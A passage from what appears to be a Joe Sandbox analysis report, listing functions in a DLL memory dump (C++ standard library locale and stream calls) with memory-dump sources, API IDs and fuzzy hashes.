                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE8BE2
                                                                                              • _Stoulx.MSVCP140(?,?,00000000,?), ref: 6CEE8BF4
                                                                                                • Part of subcall function 6CEDE660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CEDE683
                                                                                                • Part of subcall function 6CEDE660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6CEDE70F
                                                                                                • Part of subcall function 6CEDE660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6CEDE71D
                                                                                                • Part of subcall function 6CEDE660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDE774
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
                                                                                              • String ID:
                                                                                              • API String ID: 2351922906-0
                                                                                              • Opcode ID: 193d12425b417dfee18ffb2fba66ec66c07c063ddb086b3af83a7a564b8172a3
                                                                                              • Instruction ID: 6cce061388387009a3b3afd8d9a0f29a72d990c714eda1d3548e499148e34561
                                                                                              • Opcode Fuzzy Hash: 193d12425b417dfee18ffb2fba66ec66c07c063ddb086b3af83a7a564b8172a3
                                                                                              • Instruction Fuzzy Hash: 1E215475901208EFDB14DF94D980ADDB7B8FF09358F20455AF815A7380E7309A04CBA1
                                                                                              Function 6CF02B30 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02B37
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02B68
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02B7D
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF02BBA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02BFD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 3926143654-0
                                                                                              • Opcode ID: 484602594ba2b4faae0aee45fe118b6ee9f09c3ca59064b3b7d6252e17b6eef1
                                                                                              • Instruction ID: 8623d443ad316cf6f40d7f896ea5c37fdcd63d38b9587c6c2859b902f45206c2
                                                                                              • Opcode Fuzzy Hash: 484602594ba2b4faae0aee45fe118b6ee9f09c3ca59064b3b7d6252e17b6eef1
                                                                                              • Instruction Fuzzy Hash: DE215B71A01148EECB02DFA4C854AEEBFB5AF48708F24405DE105A7341DB719A4ADBA0
                                                                                              Function 6CF06F10 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06F17
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06F47
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEB058: __EH_prolog3.LIBCMT ref: 6CEEB05F
                                                                                                • Part of subcall function 6CEEB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE800B,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEB06A
                                                                                                • Part of subcall function 6CEEB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEB082
                                                                                                • Part of subcall function 6CEEB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB0E6
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF06F5D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6CF06F8E
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06FDB
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 101f613d0aff430a4982c4e0372da1235cc1b8f923be0f638a7b6120418fec18
                                                                                              • Instruction ID: aba0aba3769b99f3e2708a6cc77247f7d8278cdf4b75c55d350c70736473ff8b
                                                                                              • Opcode Fuzzy Hash: 101f613d0aff430a4982c4e0372da1235cc1b8f923be0f638a7b6120418fec18
                                                                                              • Instruction Fuzzy Hash: 64218E31A01248EFDF06DFA8D860BEDBBB5AF09718F24408DE540AB382C775564ADB54
                                                                                              Function 6CF08D30 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08D37
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF08D67
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08D7C
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08DB4
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08DF7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: 557d922293493148cff00abadc56ea9cbe94d49c3ec5fc6744e628565b3054c6
                                                                                              • Instruction ID: c3d73dcdda9790637284ca4d001faf13bf9f3b6f23d97a38752e42e3caeeefe9
                                                                                              • Opcode Fuzzy Hash: 557d922293493148cff00abadc56ea9cbe94d49c3ec5fc6744e628565b3054c6
                                                                                              • Instruction Fuzzy Hash: 79213D75A01248EFCB05DFE4C9A0EEDBFB9AF08708F24405DE045A7742D7719A49DBA1
                                                                                              Function 6CF00E80 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00E87
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00EB7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00ECD
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00EFA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF00F47
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: e9da8a1c9f832ddf5875944995f15af81441fbc4eee7db608f5f473aaff7fe56
                                                                                              • Instruction ID: 7941a1fcdacb8ab6bd30376b7e640010c78b778e072f020db828f62a54b7dff5
                                                                                              • Opcode Fuzzy Hash: e9da8a1c9f832ddf5875944995f15af81441fbc4eee7db608f5f473aaff7fe56
                                                                                              • Instruction Fuzzy Hash: 2B21B435A01144EFCB05DFE8C950BEDBBB5AF09708F24408DE544AB381C7B59A05DB60
                                                                                              Function 6CF00F60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00F67
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00F97
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00FAD
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_J@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00FDA
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF01027
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: fdf3ad72b20ad29ebd29f10233ee1eb4e54fd2d8dc695e12de1eb08c000be7ea
                                                                                              • Instruction ID: 9023c5e59e2e0c0ed007ee6729bc48819378c3eb3012c0e2d1eabce490a21eff
                                                                                              • Opcode Fuzzy Hash: fdf3ad72b20ad29ebd29f10233ee1eb4e54fd2d8dc695e12de1eb08c000be7ea
                                                                                              • Instruction Fuzzy Hash: 7421B431A01144EFDB05DFE8C960BEDBBB5AF0C708F24804DE544AB381C7759A05EB60
                                                                                              Function 6CF08F20 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08F27
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF08F57
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF08F6C
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAA_N@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08FA4
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08FE7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 4202057792-0
                                                                                              • Opcode ID: 010d4472360a8322cfedc276cb6b0ae4cabb6db88ae115177a5d975141588564
                                                                                              • Instruction ID: 2a456b1a9ca7409eac36894f6aabcddd88314746c252184a5db44c2dd8f2f846
                                                                                              • Opcode Fuzzy Hash: 010d4472360a8322cfedc276cb6b0ae4cabb6db88ae115177a5d975141588564
                                                                                              • Instruction Fuzzy Hash: 4C215C74A01248EFCB05DFE4C9A0DEEBBB5AF08708F24405EE106A7342D7719A49DBA1
                                                                                              Function 6CF088A0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF088A7
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6CF088D7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEAFBD: __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                                • Part of subcall function 6CEEAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                                • Part of subcall function 6CEEAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEEAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF088EC
                                                                                              • ?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6CF08924
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6CF08967
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2761499258-0
                                                                                              • Opcode ID: 47855e60970a4cc6faf5fb2895c3314e11a2ec26073c55fee9076239788f95c3
                                                                                              • Instruction ID: 1828146ac203928f0ee881a49d165a5375d6e29bc2888fb897c7be33cf389f51
                                                                                              • Opcode Fuzzy Hash: 47855e60970a4cc6faf5fb2895c3314e11a2ec26073c55fee9076239788f95c3
                                                                                              • Instruction Fuzzy Hash: 8F215C75A01208EFCF05DFE4C9A0EEDBBB5AF08708F24445DE145A7342DB319A49DBA1
                                                                                              Function 6CF08980 Relevance: 7.6, APIs: 5, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF08987
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
